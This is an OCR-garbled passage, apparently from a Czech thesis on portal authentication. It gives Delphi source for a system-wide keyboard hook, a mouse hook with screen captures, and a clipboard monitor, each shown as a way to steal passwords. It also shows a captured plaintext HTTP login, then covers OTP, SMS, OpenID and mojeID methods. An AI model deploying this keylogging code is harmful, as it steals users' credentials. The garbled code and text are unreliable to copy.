VK_SUBTRACT : p:=-;
VK_DECIMAL : p:=%
VK_DIVIDE : p:="1;
VK_NUMPADO p:='0"
VK_NUMPAD1 p:="1"
VK_NUMPAD2 p:="2"
VK_NUMPAD3 p:='3"
VK_NUMPAD4 p:='4"
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VK_NUMPADS5 : p:='5%
VK_NUMPAD6 : p:='6"
VK_NUMPAD7 : p:="74
VK_NUMPAD8 : p:='8}
VK_NUMPAD9 : p:='9,
else p:=Chr(Key);
end;
PostMesKbd(p);
end;
CallNextHookEx(CurrentHook,code,wParam,|lparam);
//call the next hook proc if there is one
GlobalKeyBoardHook:=0; //if GlobalKeyBoardHook
returns a non-zero value, the window that should ge t
/lthe keyboard message doesnt
get it.
Exit;
end,
Odeslani stisknuté klavesy je realizovano gembtictvim zpravy vybranému oknu (v

tomto gipadt TForm1.:

procedure PostMesKbd(p:String);
var x:Integer;

begin

for x := 1 to length(p) do

PostMessage(FindWindow('TForm1',nil),wm_user+1,ord( p[X]
),0);
end;

V hlavni aplikaci pak sta pouze naist knihovnu a povolit zachytavani klavesnice

systémovou funkci SetWindowsHookEX.
if not KbdLibLoaded then begin

KbdLibHandle:=LoadLibrary(‘dis_kbhook.dIl');
if KbdLibHandle=0 then begin

exit;
end,;
KbdHookProcAdd:=GetProcAddress(KbdLibHandle,'Global KeyB
oardHook");
@SetKbdHookHandle:=GetProcAddress(KbdLibHandle,'Set Hook
Handle");
if

(KbdHookProcAdd=nil)or(@ SetKbdHookHandle=nil) then
begin //if loading fails, unload library, exit and
return false
FreeLibrary(KbdLibHandle);
exit;
end;
end,
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CurrentKbdHook:=setwindowshookex(WH_KEYBOARD,KbdHoo kPro
cAdd,KbdLibHandle,0); //install hook
SetKbdHookHandle(CurrentkKbdHook);
/['if CurrentHook<>0 then ShowMessage('Hooked")
else ShowMessage('Not hooked');
bKBDCatch.Enabled:=false;
bKBDRelease.Enabled:=true;
Posledniasti kddu je oS&tni zpravy z DLL knihovny o stisknuté klavese:

procedure GetKey(var msg:TMessage); message
wm_key;
procedure TForml.GetKey(var msg:TMEssage);
begin
mKBD.Lines.Text:=mKBD.Lines.Text+chr(msg.WParam);
end;

5.3.2. Odposlech hesla z virtualni klavesnice

Jako ochrana proti odposlechu hesla z klavesnicly byvinuty tzv. virtualni
klavesnice. Jedna se o klavesnici na obrazovceykidatel voli klavesy klikanim mysi. Utok
na tento zpsob autentizace je ovSemddpelice jednoduchy a principalne podobny utoku
uvedenému vigdchozi kapitole — tedy odposlouchavani mysi. (zauaor), (Cantu, 2003)

Opdt je nutné vytvait funkci pro zachytavani udalosti mysi.

function GlobalMouseHook(code: integer; wParam:
word; IParam:Longlnt): longword; stdcall;
var p:String;
key:Byte;
s:String;
eventStrut: TEventMsg;
mhs:TMouseHookStruct;
begin
mhs:=PMouseHookStruct(IParam)”;
Result := CallNextHookEx(CurrentHook, Code,
wParam, |IParam);
if Code < 0 then Exit;
if Code = HC_SYSMODALON then Exit;
if Code = HC_ACTION then
begin
s:="
if EventStrut.message = WM_LBUTTONUP then
s :='Left Mouse UP at X pos ' +
IntToStr(EventStrut.paramL) + "and Y pos'’
+ IntToStr(EventStrut.paramH);
if wparam = WM_LBUTTONDOWN then begin
GetWindowText(GetForegroundwWindow, Wnd2,
SizeOf(Wnd2));
if wnd1 <> wnd2 then
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begin
PostMesMouse('WND:'+wnd2+"");
Wnd1 := Wnd2;
end;
s :='Left Mouse Down at X pos ' +
IntToStr(mhs.pt.x) + "and Y pos ' +
IntToStr(mhs.pt.y);
/[ Obrazek(mhs.pt.x-50,mhs.pt.y-
50,100,100,"_fn'+INtToStr(counter)+".jpg’);
/[ s:=s+'_fn'+IntToStr(counter)+".jpg’;
Int(counter);
end;
if wparam =WM_RBUTTONDOWN then
s := 'Right Mouse Down at X pos ' +
IntToStr(EventStrut.paramL) + "and Y pos'
+ IntToStr(EventStrut.paramH);
if (EventStrut.message = WM_RBUTTONUP) then
s := 'Right Mouse Up at X pos ' +
IntToStr(EventStrut.paramL) + "and Y pos'’
+ IntToStr(EventStrut.paramH);
if (EventStrut.message = WM_MOUSEWHEEL) then
s := 'Mouse Wheel at X pos ' +
IntToStr(EventStrut.paramL) + "and Y pos'’
+ IntToStr(EventStrut.paramH);
if (EventStrut.message = WM_MOUSEMOVE) then
s := 'Mouse Position at X:" +
IntToStr(EventStrut.paramL) + "and Y: ' +
IntToStr(EventStrut.paramH);
if s <> " then PostMesMouse(s+#13#10);
end,
end,
Dale obdoba jako v gedchozim gikladu je nutné hlavni aplikaci odeslat zpravu o

udalosti.

procedure PostMesMouse(p:String);
var x:Integer;

begin

for x := 1 to length(p) do

PostMessage(FindWindow('TForm1',nil),wm_user+2,ord( p[X]

),0);

end,
Predposlednim krokem je povoleni zachytavani mysi

if not MOuseLibLoaded then begin

MouseLibHandle:=LoadLibrary('dis_mousehook.dll');
if MouseLibHandle=0 then begin
exit;
end;
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MouseHookProcAdd:=GetProcAddress(MouseLibHandle,'Gl obal
MouseHook);

@ SetMouseHookHandle:=GetProcAddress(MouseLibHandle, 'Set
HookHandle");
if
(MouseHookProcAdd=nil)or(@SetMouseHookHandle=nil) t hen
begin
FreeLibrary(MouseLibHandle);
exit;
end,;

end:;

CurrentMouseHook:=setwindowshookex(WH_MOUSE,MouseHo okPr
ocAdd,MouseLibHandle,0);

SetMouseHookHandle(CurrentMouseHook);

if CurrentMouseHook<>0 then ShowMessage('Hooked")
else ShowMessage('Not hooked");

bMouseCatch.Enabled:=false;

bMouseRelease.Enabled:=true;

Pro ziskani 0daj o udalostech mysSi slouzi é&p oSeteni zpravy WM_MOUSE
(WM_USER+2)

procedure GetMouse(var msg:TMessage); message
WM_Mmouse;
procedure TForml.GetMouse(var msg: TMessage);
begin
mMouse.Text:=mMouse.Text+chr(msg.WParam);
end,

Jako ochrana proti zachytavani mohou byt na vinfulllavesnici klavesy rozmisty

nahodi. Opit je Utok na toto op&ni pom&rné jednoduchy — spodeé s kliknutim

zaznamendavat oblast okolo kliknuti do soubortipgdre sledovat okoli pohybu mysSi

sekvenci snimk Neékteré antivirové programy jsou schopné rozeznatesyg zachytavajici

klavesnici, myS nebo obrazovku a hlasi potencidnalriko. Kod pro snimek wgzu

obrazovky je nasleduijici:
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procedure
Obrazek(pozx,pozy,sirka,vyska:INteger;soubor:String );
var
b:TBitmap;
im: TIPEGImage;
h:Real,

procedure ScreenShot(activeWindow: bool;
destBitmap : TBitmap) ;

var
w,h : integer;
DC : HDCG,;
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hWin : Cardinal;
r: TRect;
begin
if activeWindow then
begin
hWin := GetForegroundWindow;
dc := GetWindowDC(hWin) ;
GetWindowRect(hWin,r) ;
w :=r.Right - r.Left;
h :=r.Bottom - r.Top;
end
else
begin
hWin := GetDesktopWindow;
dc := GetDC(hWin) ;
w := GetDeviceCaps (DC, HORZRES) ;
h := GetDeviceCaps (DC, VERTRES) ;
end;

try
destBitmap.Width := w;

destBitmap.Height := h;
BitBlt(destBitmap.Canvas.Handle,

pozXx,

pozy,

sirka,

vyska,

DC,

0,

0,

SRCCOPY) ;
finally
ReleaseDC(hWin, DC) ;
end,

end;

begin

b := TBitmap.Create;
im:=TJPEGImage.Create;
try
ScreenShot(FALSE, b) ;
im.CompressionQuality:=20;
Im.Scale:=jpeg.jsEighth;
im.Assign(b);
im.SaveToFile(soubor);
finally
b.Freelmage;
im.Free;
FreeAndNil(b) ;
end,



| end;

5.3.3. Hardwarové keyloggery a screengrabbery

Hardwarové prosedky pro zachytavani klavesnice jsou v podstabftwarow
nedetekovatelné a je také velice nep&pedlobné, Ze by uZivateligd kazdou praci
s paitatem kontroloval zapojeni periférii. Na druhou strageupro utok (na rozdil od
softwarovych progedki) nutny fyzicky gistup Gt@nika k p@itaci. Hardwarové zachytave
klavesnice a monitoru Ize koupit za ceny okolo 108D, gi¢emz rEkteré z nich umi

automaticky odesilat ziskané Uudajfeginternet pomoci viastni Wi-Fi konektivity. (Kesd)
5.3.4. Odposlech hesla ze schranky

Pro spravu hesel uzivatelé mohou vyuzivat apliharce ukladani hesel v zaSifrované
podoke chrargné jednim tzv. master heslem. Tyto aplikace vSakvy®iji bezpénost
autentizace. V nejlepSimiipact umoZzni uzivatéim splnit poZzadavek naiznd hesla do
raznych systéri. Problémem vSakistava penos hesla do vzdaleného systému. Typické pro
tento dkon byva pouZziti schranky. Heslo se tedyobexzuje na monitoru, ale uZivatel
pokynem zkopiruje heslo do schrdnky a vloZi do go¥aného pole v cilovém systému.
Nasledujici piklad ukazuje, jak se snadné glollkontrolovat schranku. (zdroj: autor),
(Svoboda, a dalsi, 2001)

Opet je nejprve nutné zahrnout program dggmai udalosti schranky.

procedure TForm1.bCPBCatchClick(Sender: TObject);

begin

Naslednik:=SetClipboardViewer(Handle);

bCPBCatch.Enabled:=false;

bCPBRElease.Enabled:=true;

end,

Pro zachyceni vloZzenych (daj do schranky slouzi systémova zprava

WM_DRAWCLIPBOARD. Tu je nutné nasledujicimigmbem oSéit.

procedure OnDrawClipboard(var
msg: TWMDrawClipboard); message WM_DRAWCLIPBOARD;
procedure TForm1.0OnDrawClipboard(var msg:
TWMDrawClipboard);
begin
if Clipboard.HasFormat(CF_TEXT) then
m.Lines.Add(clipboard.AsText) else m.Lines.Add('Nen [
text’);
SendMessage(Naslednik, WM_DRAWCLIPBOARD,0,0);
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end:;

5.3.5. Odposlech hesla zachyceny v siti

Jak bylo uvedeno v analyze literarnich zérgrotokol HTTP nema zadné zabespma

piendSenych Od&j V ¢asti wnované bezpmosti autentizace agroporiabyl u portalu

Internet

pro chovatele zji§t pienos hesla v nezabezpeé podob. Pomoci programu

Wireshark bylo owteno tvrzeni, ze zakladnim pozadavkem na hawmmt autentizace je

pouzivani HTTPS protokolu pro zabezeei spojeni. Rklad zachyceného paketu

S autentizénim udajem je na obrazku dole (Obrazek 22).

e =
[l IEEE 802.11g Wireless Card. - Wireshark i o e 3
B ==

File Edit Yiew Go Capture Analyze Statistics Telephonx Tools Help

B e BEEHX2e8 Aae» T LIEE aaa -»
Filter: * Expression.. Clear Apply
Mo. Time Source Destination Protocol  Info
—_ e e — B S
4 0.417822 192.168.0.1 217.31.52.55 TCP 56124 > http [
50.418228 192.168.0.1 217.31.52.55 HTTP POST /login_da
6 0.431056 217.31.52.55 192.168.0.1 TCP http > 56124 [ _
T w ] 0
referer: http://data.cmsch.cz/login_data. phprin -

Accept-Encoding: gzip,deflate,sdch'r\n
Accept-Language: cs-CZ,cs;qg=0.8r\n

Accept-Charset: windows-1250,utf-8;g=0.7,%;qg=0.3rn
[truncated] Cookie: PHPSESSID=090191c204f9079692638ad8ca605500; stat_strar
Lrin |

= Line-based text data: application/x-www-form-urlencoded

m

act=logindusername=aaadpasswd=aaa -
'y m | 3
03ad0 36 34 39 35 2e 31 38 37 3B 36 39 38 34 30 34 2e 6495.187 8698404 . -

03b0 31 33 36 37 39 35 30 35 33 31 2e 31 33 36 37 39 13679505 31.13679
03cO 35 20 35 33 31 2e 31 33 36 37 39 35 30 35 33 31 50531.13 67950531
03d0 2e 31 3b 20 5F 5f 75 74 6&d 62 3d 35 36 37 38 36 .1; __ut mb=36786
03e0 34 29 35 2e 31 34 Ze 31 20 2e 31 33 36 37 39 35 4095.14.1 0.136795
03f0 320 35 33 31 3b 20 5f 5F 75 74 6d 63 3d 35 36 37 0531; __ utmc=567
0400 38 36 34 39 35 3b 20 5F S5F 75 74 6d 7a 3d 35 36 86495; _ _utmz=56
0410 37 2B 36 34 39 35 Ze 31 23 36 37 39 35 30 35 33 786495.1 26795053
0420 31 2e 31 2e 31 2e 75 74 6d 63 73 72 3d 28 64 69 1.1.1.ut mcsr={(di
0430 72 65 63 74 29 7c 75 74 6d 63 63 6e 3d 28 64 69 rect) |ut mccn={di
0440 72 65 63 74 29 7c 75 74 6d 63 6d 64 3d 28 6e &f rect) |ut mcmd={_no
0450 6e 65 29 0d 0a Od Oa [FWNENENEENTEEGNTENT nej....
WLV S 75 73 65 Y2 6e 61 6d 65 3d 61 61 61 26 7O 61 &usernam
WLV 73 77 64 3d 61 61 61 :

@ | Text item (text), 33 bytes | Packets: 50 Displayed: 50 ... ?rofile: Default

Obréazek 22 Zachyceni autentizénich Gdajia protokolem HTTP (zdroj: autor)

5.3.6. Shrnuti
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Pouzivani hesla jako autentimého prostedku je vysoce rizikové a obrana proti Utoku
je tén®t nemozna. Bvodem je nernny autentizéni Udaj (heslo), jehoz odhalenim ziskava
atocnik pristup k uzivatelo¥ identit.

S ohledem na bezfmost komunikanich kanal by také ndlo byt minimalni nutnosti
pouzivani zabezpgeného protokolu HTTPS, ktery zajisti aleSpmemoznost zachytit heslo

pii ptenosu na cilovy potac.
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5.4. Vlastni implementace autentizace mOTP
5.4.1.mOTP

Autentizaci pomoci OTP prasidnictvim mobilnich telefan je wnovan samostatny
open-source projekt mOTP. Vramci tohoto projekéu ZajiS€na podpora pro &Sinu
mobilnich platforem. Diky Siroké podp® je moZzné tento #gob autentizace snadno

implementovat do &tSiny kéZnych systér, véetne LDAP. (MOTP)

& "l 36%
mOTP - mOTP

Profile: Testovaci

-

&

8aad2d
Epoch:136783163

Obrazek 23 mOTP (zdroj: autor)

5.4.2. Priklad implementace v MySQL

Autor predkladané prace vytvib funkci pro integraci jednorazovych hesel
generovanych mOTP do databazového serveru MySQL.

Nasledujici piklad prezentuje jednoduché @eni pomoci autorem vytvené funkce
pro MySQL. Funkce vraci hodnotu 1, pokud je uZikatezadany jednorazovy kéd platny.
Zarovei funkce zabrauje opakovanému pouziti stejného kédu v platdasovem oké

S ohledem na bez{fmost je vhodné tabulky umistit d&asti databadze se zvySenou
arovni bezpénosti z divodu ochrany proti kompromitaci sdileného tajemgiofler, 2007),
(Gilfillan, 2003)

Deklarace funkce Login(parzam_id,lp_Heslo)
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* Parzam_id je zadstnaneckéislo v internim systému

* Lp_Heslo je kéd vygenerovany mOTP tokenem

BEGIN

declare klic char(50);
declare pin int;

declare tims bigint;

declare i int;

declare ok int;

declare hotovo int default O;
declare mkheslo char(10);

declare mk cursor for
select stareheslo from security.zampasshist
where ts>=Round(Unix_timestamp(now())/10,0)-18 and
zam_id=parzam_id;
declare continue handler for not found set
hotovo=1,

set tims=round(unix_timestamp(now())/10,0);

select ukey,upin from security.zam where
zam.zam_id=parzam_id into klic,pin;
set i=36;
set ok=0;
OPEN mk;
overheslo: LOOP
fetch mk into mkheslo;
if hotovo=1 then leave overheslo; END IF;
if mkheslo=Ip_Heslo then set ok=2;leave
overheslo; END IF;
END LOOP overhesilo;
if ok=0 then
cykl: while i>0 do
if left(md5(concat(tims-
i+18,Klic,pin)),6)=Ip_Heslo then
set ok=1;
insert into
security.zampasshist(ts,stareheslo,zam_id) values
(tims-i+18,Ip_Heslo,parzam_id);
leave cykl;
end if;
set i=i-1;
end while cykil;
end if;
return ok;
END




Tabulka “zam™ obsahuje propojeni do tabulky &stmand pres primarni ki
zamestnaneckéhaisla (‘'zam_id"). Dale obsahuje atribut "ukey  pro pdilené tajemstvi,

které jerettzeno s atributem “upin” pro zafgt vysSi bezp@osti na stratklienta.

CREATE TABLE zam’ (

“zam_id" INT(11) UNSIGNED NOT NULL,
‘ukey” CHAR(50) NULL DEFAULT NULL,
“upin® INT(11) NULL DEFAULT NULL,
PRIMARY KEY (‘zam_id"),

UNIQUE INDEX "zam_id" (‘zam_id"),
INDEX “zam_id_2" (‘zam_id")

)

COMMENT="Zam security informations'
COLLATE='cp1250_general _ci'
ENGINE=MyISAM;

Tabulka “zampasshist® obsahuje Udaje o pouzityckletie, aby nebylo mozné

opakova#g pouzit posledni heslo. Toto beZpestni opatni zabrauje opakovanému pouZziti
jednoho hesladhemcasoveho okna pro platnost hesla.

CREATE TABLE "zampasshist (
“zampasshist_id” INT(11) UNSIGNED NOT NULL
AUTO_INCREMENT,
“ts” BIGINT(20) UNSIGNED NULL DEFAULT NULL,
“stareheslo” CHAR(10) NULL DEFAULT NULL,
“zam_id" INT(11) UNSIGNED NULL DEFAULT NULL,
PRIMARY KEY (‘zampasshist_id"),
UNIQUE INDEX “zampasshist_id" (‘zampasshist_id"),
INDEX “zampasshist_id_2" (‘zampasshist_id")
)
COMMENT="Pass history'
COLLATE='cpl1250_general _ci'
ENGINE=MyISAM
AUTO_INCREMENT=21;

5.4.3. Shrnuti

Vlastni implementace autentizace je, jak jeévida uvedeném ifkladu, pordrné
jednoducha. Pro vysSi bezpest je vhodné omezit moznost hadani hesla (padswor
guessing). Nevyhodou tohotteSeni je nutnost uloZeni sdileného tajemstvi naeser

v otewené podob. To je vSak nevyhodou pro vSechny generatory OTP.
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5.5. Technologie Google Authenticator
5.5.1. Popis sluzby

Firma Google vyvinula aplikaci pro spravu &iik jednordzovym hesin. Dale tato
aplikace umotuje také dvoufdzovou autentizaci. odni verzi byla tato aplikace dostupna
pouze pro &ty Google, ale nyni je mozné ji pouzivat také ppoasu dalSich &ia. Google
nevytvdi nové mechanismy pro tvorbu jednorazovych heselyychazi ze standardu HOTP
— HMAC-Based One-Time Password Algorithm popsaifiRiwC4226) a kapitole 4.4.4.

Obrazek 24 ukazuje vychozi obrazovku aplikace Godglthenicator se @wma Uty.
Pro kazdy zd&chto &ta je generovan kéd s omezentasovou platnosti.

® @ B8 oKX T alzsxd 22:00

@ Google Authenticator

Pokud budete vyzvani, zadejte pfi pfihlasovani do
Gctu tento ovérovaci kod:

641002

44331

Obrazek 24 Generator OTP Google Authenticator (zdrpautor)
Piavodni algoritmus dle RFC 4226 vytava heslo z tajného kb (K) a pgitadla (C),
které se zvySuje o jedtku pri kazdém pozadavku na nové heslo. \ggto hesla je
nasledujici:

HOTP(K,C)=Truncate(HMAC-SHA-1(K,C))
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Uvedeny algoritmus zatuje nemoZznost zjistit nasledujici heslo a zéaio\diky
ireverzibilit¢ funkce SHA1) neni mozné zji<t tajny klic nebo hodnotditace.

Pro owieni na zaklagl ¢asu je vyuzito algoritmu TOTI- Time-based One-time
Password Algorithm popsany (RFC6238) v kapitole 4.4.4Hlavni rozdil oproti HOTF
spa:iiva vpouziticasu jakatitace (C). Ten se #mi v tricetisekundovych intervalech a syst
akceptuje jednofedchozi a jedno nasledujici he

Synchronizaci tajného hesl aplikaci Google Autenticator je mozné provést pom
QR kodu, ve kteréem je zakodovana specificka URlesa(otpauth://totp), které jsoiepany
nésledujici parametry:

* Nazev @tu (viditelny uzivatel
» Sdilené tajemst

Cela adresa zakddovan QR kodu je pak

Otpauth://totplUcet?secret=HesloVBase32Ko(Caletka)

a kéd vypada nasledo#n

Obrazek 25 QR kéd pro synchronizaci &tu (Caletka)
Ucet je také mozné nastavitétng zadanim nazvudtu, sdileného tajemstvi a &gobu

vypoétu (Gas/p@itadlo). Vpiipadt volby paiitadlem je nutné generovat kod stiskenditka,

aby nedoslo lporuSeni synchronizac patitadlem na serveru.
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@ Rucni zadani Gétu

Test
Klic2012)

Na zakladé pocitadla

Na zakladé casu

Na zakladé pocitadla

Obrazek 26 Google Authenticator - r&ni zadani (zdroj: autor)

5.5.2. Implementace sluzby do portalu

Implementace sluzby je obdobna jako v kapitole 5@ni se pouze vypet
jednorazoveho kodu.

5.5.3. Shrnuti

Pro zmisob autentizace pomoci technologie Google Authataigplati podobné shrnuti
jako pro autentizaci pomoci mOTP. ¥Yigact ukonieni podpory Google Authenticator je
mozné sluzbu nahradit s ohledem na f@Bost vypotu jednorazovych hesel. Aktu&wSak
neni poteba tvdit vliastni generator — Ize pouZzit tento s moZneogi¥iti na vice platformach.

Spolenost Google je uznavanou spaiesti s rozsahlou podporou pf®R. (Novotny, a
dalsi, 2011) Stale se vSak jedna o kamerspol€nost a neni jista podpora prodiukt

v budoucnosti.
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5.6. Ovéreni pomoci zprav SMS

5.6.1. Vyuziti sluzeb tietich stran

Vyuziti sluzeb tetich stran slouzi k rozesilani SMS zprétesp APl jednotlivych
poskytovatel, zpravidla za stanoveny poplatek dletopoodeslanych zprav. Tuto sluzbu lze
zprovoznit velmi rychle.

* Levnesms.cz

* SMSmanager.cz
* Mobilem.cz

* Smsmidlet.com

e Sms.sluzba.cz
5.6.2. Vlastni hardwarové resSeni

Z hlediska bezpmosti je vyhodwjSi umiséni propojeni do GSM sitco nejblize
operatorovi. Zde fichazi v ivahu GSM Ustdna s moznosti ovladanfeg PC. Odpadé tak
vyuzivani sluzebietich stran a tim je vyl@@na moznost napadeni dalSiié@nku vietézci
odesilani SMS.

5.6.3. Shrnuti

Owefeni autentizace pomoci SMS zprav lIze povazovat egnin dob za jeden
Z nejbezpenéjSich prostedki autentizace a to fpvazre z divodu vyuZziti nezavislého
komunikaniho kanalu.

Velkou nevyhodou je vysoka cena za odesilani SMS8lyavysoké provozni naklady.
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5.7. Technologie OpenlD
5.7.1. Popis technologie

Technologie OpenlD umaije provést autentizaci uzivatele proti auterdtidasluztE
treti strany. Zejmou vyhodou pro koncového uZivatele je pouZiv@ouze jedsch
autentizénich udaji pro vice sluzeb. Sluzbu je vSak pouze mozné pa#ibasledujicich
piedpoklad:

1. UZivatel portalu je zaroveuZivatelem vybrané sluzby
2. Provozovatel portdlu stranky povaZuje uvedenéhokytogatele OpenlD za
dostaten¢ daveéryhodného a zarovieobe strany musi podporovat technologii OpenID
UZivatel je i piihlaSeni pesnérovan na pihlasovaci stranku na zakkadveho OpenlID. Tato
piihlaSovaci stranka po U&né autentizaci fpda fizeni pivodni strance s informaci o

autentizovaném uzivateli.
5.7.2. Poskytovatelé

Jak bylo uvedeno vipdchozi kapitole, &t by byt poskytovatel OpenlD i¢ti
strana) dostate¢ divéryhodnym partnerem pro provozovatele portalu/irgtan
Aktualné jsou do projektu zapojeny nasledujici vyznamnéahar

* Google
e Yahoo

* LiveJournal

* Hyves

» Blogger

* Flickr

* Orange

*  Mixi

* MySpace

* WordPress
« Aol

5.7.3. Postup pfihlasovani
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Po implementaci ffislusnych funkci je moZznéftigdat do pihlaSovaciho dialogu

nasledujici kdd, ktery bude slouziitgdSenim pes sluzbu OpenlD (samotnda funkcionalita je

obsazena v PHP skriptu login2-openid.php.

<!-- OpenID formula ¥ >

<form method="post" action="login2-openid.php">
<fieldset><legend>P rihlaSenip  res OpenlID</legend>
<p>

<label for="openid">OpenID</label>

<input type="text" id="openid" name="openid" />
</p>

<p><input type="submit" name="login"

value="P rihlasit" /></p>

<[fieldset>
</form>

5.7.4. Shrnuti

Sluzbu OpenlID je vyhodné pouziti rytvoieni portalu, kde budecekavan pistup

uzivateh z celého sita. Bezpénost systému zavisi nadiekryhodnosti komemiho subjektu,

coZz lze povaZzovat za potencionalni riziko. Tyto lemni subjekty také negarantuji

duavéryhodnost vioZzenych udaj- informaci o uzivateli.

Sluzbu OpenlD je vhodné pouZzit pro identifikacivateli, kde neni zapétbi garance

totoznosti uzivatele.
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5.8. Sluzba mojelD
5.8.1. Popis sluzby

Sluzba mojelD jeceskou implementaci sluzby OpenID. Zahrnuje tedyopoé
vlastnosti, jaké byly popisovany v kapitole 5.7.attimi rozdily oproti OpenID jsou
nasledujici: (MojelD)

» Owteni existence uzivatele (mojelD vyuzivakiroky pro owieni uzivatele — e-
mailova adresa, vlastnictvi mobilniho telefonu stéctvi poStovni adresy)

* Omezeni duplicitnich identit

« Ceské uzivatelské prasi

+ Ceska technicka podpora (telefon, mail)

* Vice metod autentizace uzivatele (certifikat &ipové kart, vicefaktorova

autentizace)
5.8.2. Finanéni naroé¢nost

Sluzba registrace je uzivateh k dispozici zdarma.

Pro vyuZzivani o#fovani proti mojelD s podrobnymi informacemi o uiela a
dodaténymi sluzbami je nutné sepsani smlouvy.¢oplatba za vyuzivani sluzbgini
aktualre 1.000,- K bez DPH.

5.8.3. Naro¢nost implementace sluzby

Jak bylo uvedeno vysSe, sluzba je zaloZena na témfindOpenID a velkacast
implementace je totoZzna s touto technologii. Prplémentaci jsou ifpravené ukazkové
kody wetng hotovych implementaci pro open-source systémy.

Z obecnych kad jsou k dispozici batky pro Javu a PHP.

Z open-source systé@njsou zahrnuty nasledujici implementace:

* Drupal (redakni systém)

 phpBB

* Joomla/Virtuemart
 Magento

* Redmine
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* PrestaShop

* Zen Cart

* osCommerce

* Simple Machines

* OpenCart

5.8.4. Shrnuti

SluZzba mojelD spiuje podminky na bezpeou autentizaci — zapouge v sol
nékolik moznosti autentizace — heslem, certifikatgednordzovym heslem nebo pomoci
zéloznich kod. Jeji vyuZiti takieSi nefastji zminovany problém spojeny s jednorazovymi
hesly — nutnost vlastnit autentéza token pro kazdou sluzbu. V tomtdigact je sluzba
pouze jedna a je povazovana zadgtyhodnou.

Forma pedavéani informaci je obdobnd jako u dnes pouzivasgbktému internetovych
platebnich bran. Uzivatel jegsngrovan s pozadavkem na provedeni platby obchodnikavi
duveéryhodnou teti stranu — platebni branu. Po &Spem ovtenicisla platebni karty a dalSich

autentizénich adaj je zpst obchodnikovi pedana zprava o U&né plath.
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5.9. Vybér autentiza¢ni technologie

5.9.1. Podminky bezp&nosti autentizace

Bezpe&na autentizéni sluzba musi spbvat nasledujici kritéria:

1. PouZiti protokolu HTTPS profgnos dat. Tento poZadavek bylryt prvotnim
pii jakékoliv ¢innosti s nutnosti autentizace uzivatele.

2. VSechny ¢lanky autentizéniho mechanismu by #y pouzivat technologii
DNSSEC pro ogteni pravosti zaznamu v DNS.

3. Autentiza&ni mechanismus by & podporovat gkterou z forem vicefaktorové
autentizace nebdaiplasenicipovou kartou.

4. Sluzba by neria byt zaloZzena na uz#gnych technologiich a mechanismech

komeknich subjeki, které negarantuji identitu &ovanych uzivatel.
5.9.2. DalSi podminky a pozadavky na autentizéni mechanismus

Mimo bezpénostnich kritérii by la autentiz&ni metoda splovat také nasledujici
pozadavky: (Vartiek, 2004)

1. Funkinost

2. Bezporuchovost

3. Pouzitelnost
Uginnost

Udrzovatelnost

o g bk

Prenositelnost
5.9.3. Vhodna autentizani metoda pro metodiku POASE

Nejenom dle Vartka (Vantek, 2004) je mezi vybranymi metrikami pro hodnoceni
jakosti nepima ungra. NavySenim hodnoceni jedné metriky dojde ke esnizodnoty
metriky jiné. Rikladem mohou byt bezpeost a pouZitelnost. Veétsing piipadi vede
zvySeni bezpmosti ke snizeni Uro¥npouzitelnosti. Naopak systém, do kterého se ugigat
nemusi pihlasSovat je snadno pouzitelny, ale jeho bé&mpst je velice nizka.

Z vySe uvedeneho vyplyva, Ze zvySeni bémpsti autentizace pragpodobré povede

ke sniZeni pouzitelnosti.
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Na zaklad zkoumani autentizaich sluzeb byla lexikografickou metodou jako skzb
vhodna pro metodiku POAS&uzbamojelD a to z nasledujicichigtodi:
* Podpora gihlaSovani pomoci jediného identifikatoru k vicaiadlam — pro
uzivatele tim odpada sprava uzivatelskych jmensalHeiznym sluzbam
e Sdruzeni CZ.NIC Ize povaZovat na zakladgyvoje a jeho statutu za
daveéryhodnou teti stranu
* Podpora gihlaSovanicipovou kartou s certifikatem ugéryhodné certifikani
autority, tedy v sotasné dob nejbezpeéngjsi zpisob gihlasovani
» Podpora vicefaktorové autentizace pomoci sluzbyg@oAuthenticator, avSak
Google Authenticator lze wipac kompromitace nebo ukoéani podpory
software od spolmosti Google nahradit jinynteSenim, nehb technologie
Google Authenticator je postavena na standardizamraprotokolech
* Prenos udaj je zabezp&en protokolem HTTPS
* Doména mojeid.cz je chréma technologii DNSSEC
Podpora vicefaktorové autentizace od poskytovasdiegby OpenlID jeieSenim
problému nastiéného v analyze literarnich zdéof uzivatel musi pro kazdy nezavislyet
vlastnit pra¢ jeden token — generator jednorazovych heselipagt jednoho identifikatoru

stai pouze jeden token a uzivatel ho diky vlastnosBpenID niize pouzit pro vice porial

5.9.4. Shrnuti

Sluzba mojelD spluje vSechny pozadavky kladené na beéppst stanovené v Uvodu.
Zarover pouze nepatinsnizuje pouzitelnost celého systému. Jediny kktdy musi uzivatel
ucklat navic proti BZné procedie registrace na portalech je vytitasi identifikator mojelD.
S tim je spojena pouze jedna uzivatelskarin&pvost — registrace trva déle v ovéreni
poStovni adresy. Ta je &tena zaslanim autorizaiho kédu dopisem. DalSi &werifikace
uzivatele — owteni vlastnictvi e-mailové adresy a mobilniho tetefgsou i dnes &nym

opatenim g registraci do portalovych aplikaci.
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6. Navrh metodiky POASE

Na zaklad vyzkumu v kapitole 5 byla pro implementaci vybrdeahnologie mojelD.
Nasledujici kapitoly se&nuji navrhu metodiky Portal authentication secughhancement
(POASE).

V ramci cyklu PDCA bude nejprve proveden samotnyrimdmetodiky na zaklad
analyzy a syntézy literarnich zdiiojDale bude platnost navrhu metodikyétena aplikaci
metodiky POASE na existujici inforifia systém portalového typu. V dalsi fazi bude
provedeno osteni funkinosti systému a validita metodikyfipadre budou identifikovany
nedostatky. V fipac zjiSténych neshod budou navrzena dpat pro dalSi cyklus PDCA.
V zawrecné fazi bude kontrolovana spravna fanést systému.

Pro owieni metodiky budou pouzity nasledujici metriky abatty. Metriky a atributy
byly stanoveny autorem v souladu s normou ISO/IBE2691:2002. V satasnosti neexistuje
jednotné hodnoceni jednotlivych atributcharakteristik. Autor stanovuje nasledujici
charakteristiky a atributy v souladu s poZzadavkgdkehymi v odborné literater (Vantek,
2004), (Lken, 2001).

Funkcénost

Jméno mifeného atributu| Furdki nalezitost

Jméno uzité miry Furtki nalezitost

Ucel miry Funknost feSeni (jak funkce funguiji, jestli spliji

pozadavky na&kladené)

Metoda ngreni Pozorovani

Interpretace hodnot miryy  0-nepinfibec

33- plni s vaznymi problémy
66- pIni s drobnymi problémy
100-plni zcela bez problé&m

Zdroj dat pro wteni miry | Implementace systému

Tabulka 16 Funkéni nalezitost (zdroj: autor)
Bezpecnost
Miry bezpé&nosti jsou uvedeny v kapitole 5.2.1 na stréi.

Bezporuchovost

Jméno niieného atributu| Dostupnost

Jméno uzité miry Dostupnost
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Ucel miry

